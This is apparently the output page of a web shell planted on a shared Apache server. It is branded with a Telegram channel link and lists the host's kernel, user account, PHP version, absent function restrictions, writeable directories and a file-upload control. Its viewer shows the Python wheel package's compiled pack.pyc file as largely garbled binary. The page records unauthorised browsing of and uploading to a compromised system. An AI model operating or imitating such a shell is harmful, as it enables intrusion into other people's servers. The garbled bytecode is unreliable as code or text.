https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/wheel/cli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/wheel/cli/__pycache__/pack.cpython-310.pyc
o

c�a$
�@s\ddlmZddlZddlZddlZddlmZddlm	Z	e�
d�Ze�
d�Zdd�Z
dS)	�)�print_functionN)�
WheelError)�	WheelFilez6^(?P<namever>(?P<name>.+?)-(?P<ver>\d.*?))\.dist-info$sBuild: (\d\w*)$cst�fdd�t���D�}t|�dkrtd�����|s"td�����|d}t�|��d�}d}tj�	�|d	�}t
|��8}g}	|D]"}
|
�d
�rU|	�|
�
d�d���qA|
�d�rc|
�
d�d��}qA|	smtd
�|���Wd�n1swwY|dur�|n|}|dur�|r�|d|7}||kr�|r�d|�d�nd}t
|d��(}|��}t�||�\}}
|
s�||7}|�d�|��|�|�Wd�n1s�wYtdd�|	D��}tdd�|	D��}tdd�|	D��}d�	d�	|�d�	|�d�	|�g�}tj�	|d�||��}t|d��}td�|�dd�tj��|���Wd�n	1�s/wYtd�dS)aBRepack a previously unpacked wheel directory into a new wheel file.

    The .dist-info/WHEEL file must contain one or more tags so that the target
    wheel file name can be determined.

    :param directory: The unpacked wheel directory
    :param dest_dir: Destination directory (defaults to the current directory)
    cs0g|]}tj�tj��|��rt�|�r|�qS�)�os�path�isdir�join�DIST_INFO_RE�match)�.0�fn��	directoryr�0/usr/lib/python3/dist-packages/wheel/cli/pack.py�
<listcomp>s
�
�zpack.<locals>.<listcomp>�z+Multiple .dist-info directories found in {}z%No .dist-info directories found in {}r�nameverN�WHEELzTag: � zBuild: zCNo tags present in {}/WHEEL; cannot determine target wheel filename�-zBuild: %s
�ascii�zrb+cS�h|]	}|�d�d�qS)rr��split�r�tagrrr�	<setcomp>F�zpack.<locals>.<setcomp>cSr)rrrrrrrrGrcSr)r�rrrrrrHr�.z	{}-{}.whl�wzRepacking wheel as {}...�)�end�OK)r�listdir�lenr�formatr
r�grouprr	�open�
startswith�appendr�rstrip�encode�read�BUILD_NUM_RE�subn�seek�truncate�write�sortedr�print�sys�stdout�flush�write_files)r�dest_dir�build_number�dist_info_dirs�
dist_info_dir�name_version�existing_build_number�wheel_file_path�f�tags�line�replacement�wheel_file_content�num_replaced�impls�abivers�	platforms�tagline�
wheel_path�wfrrr�packsf



����
�
�"
�rN)�
__future__r�os.pathr�rer7�	wheel.clir�wheel.wheelfiler�compiler
r0rNrrrr�<module>s



https://t.me/RX1948 - 2025